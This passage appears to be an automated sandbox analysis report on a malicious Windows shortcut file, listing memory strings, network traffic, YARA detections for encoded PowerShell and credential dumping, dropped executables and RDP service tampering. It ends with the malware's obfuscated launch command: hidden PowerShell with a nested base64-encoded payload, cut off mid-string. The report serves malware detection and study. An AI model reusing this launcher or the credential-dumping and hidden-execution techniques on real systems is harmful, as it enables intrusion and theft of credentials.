Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600313184237Z0#1
Source: svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509298593.000001ABCB824000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806015
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291511785559.000001ABCB902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208100373.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208100373.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208100373.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208100373.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208100373.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291511785559.000001ABCB902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208957125.000001ABCC30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290209113678.000001ABCC30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208888026.000001ABCC30E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp160509204055Z
Source: svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208100373.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 00000013.00000002.291515027728.000001ABCCA66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf1
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000013.00000002.291509298593.000001ABCB824000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf0
Source: svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srfWindows
Source: svchost.exe, 00000013.00000002.291511785559.000001ABCB902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsp
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srf
Source: powershell.exe, 00000002.00000002.290050915734.0000014DF0D0D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.290036765742.0000014DE208D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.290050915734.0000014DF0E44000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290359074322.00000236B89A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A109BF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290197199701.000001A118623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000002.00000002.290053307415.0000014DF8D06000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290366701874.00000236C094E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290201730802.000001A1205B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.291072709015.000001D79C0C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291514554345.000001ABCCA24000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291509143695.0000026D566C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: powershell.exe, 00000008.00000002.290161989907.000001A10999E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.20:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.20:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.20:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.20:49782 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\myRdpService
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security

Reads the System eventlog

Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\myRdpService
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\myRdpService
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\RdpService
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\RdpService

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_8300.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 46.2.myRdpService.exe.7ff6bca80000.0.unpack, type: UNPACKEDPE	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe
Source: 0000002E.00000002.291517225825.00007FF6BCF86000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe
Source: Process Memory Space: powershell.exe PID: 3076, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 8300, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: svczHost.exe PID: 9020, type: MEMORYSTR	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\Temp\svczHost.exe

Jump to dropped file

Uses regedit.exe to modify the Windows registry

Source: C:\Windows\Temp\myRdpService.exe

Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"

Writes or reads registry keys via WMI

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue

Source: C:\Windows\System32\sppsvc.exe

File created: C:\Windows\System32\spp\store\2.0\data.dat.tmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF9D39CF1C6	4_2_00007FF9D39CF1C6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF9D39CFF72	4_2_00007FF9D39CFF72
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_00007FF9D39C51DA	16_2_00007FF9D39C51DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_00007FF9D3A99FD1	16_2_00007FF9D3A99FD1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_00007FF9D39A77A6	25_2_00007FF9D39A77A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_00007FF9D39A8552	25_2_00007FF9D39A8552
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_00007FF9D39A96DA	25_2_00007FF9D39A96DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FF9D39BA729	29_2_00007FF9D39BA729
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 54_2_00007FF9D39C1A32	54_2_00007FF9D39C1A32
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 55_2_00007FF9D39A0DF5	55_2_00007FF9D39A0DF5

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\svczHost.exe B1D69CBC0A2D13B89500D37726AD9E01817C8890262E3CE4A561F82B63708B9A

Source: svczHost.exe.16.dr

Static PE information: Resource name: RT_VERSION type: MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3679
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3632
Source: C:\Windows\Temp\svczHost.exe	Process created: Commandline size = 2904
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3679	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3632
Source: C:\Windows\Temp\svczHost.exe	Process created: Commandline size = 2904

Source: amsi64_8300.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 46.2.myRdpService.exe.7ff6bca80000.0.unpack, type: UNPACKEDPE	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump
Source: 0000002E.00000002.291517225825.00007FF6BCF86000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump
Source: Process Memory Space: powershell.exe PID: 3076, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 8300, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: svczHost.exe PID: 9020, type: MEMORYSTR	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump

Source: classification engine

Classification label: mal100.troj.expl.evad.winLNK@83/64@1/2

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9168:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5632:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8308:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2884:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6016:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2448:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8308:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7996:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7136:304:WilStaging_02
Source: C:\Windows\Temp\myRdpService.exe	Mutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7592:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9184:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2884:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8332:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9028:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8220:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1384:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1384:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9028:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5632:304:WilStaging_02
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\STARTUAC
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2448:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7592:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9168:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6016:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8332:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8900:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6052:304:WilStaging_02

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_amdjqwmn.psu.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: L0jeOoavu4.lnk	ReversingLabs: Detection: 28%
Source: L0jeOoavu4.lnk	Virustotal: Detection: 34%

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /v /k "powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEg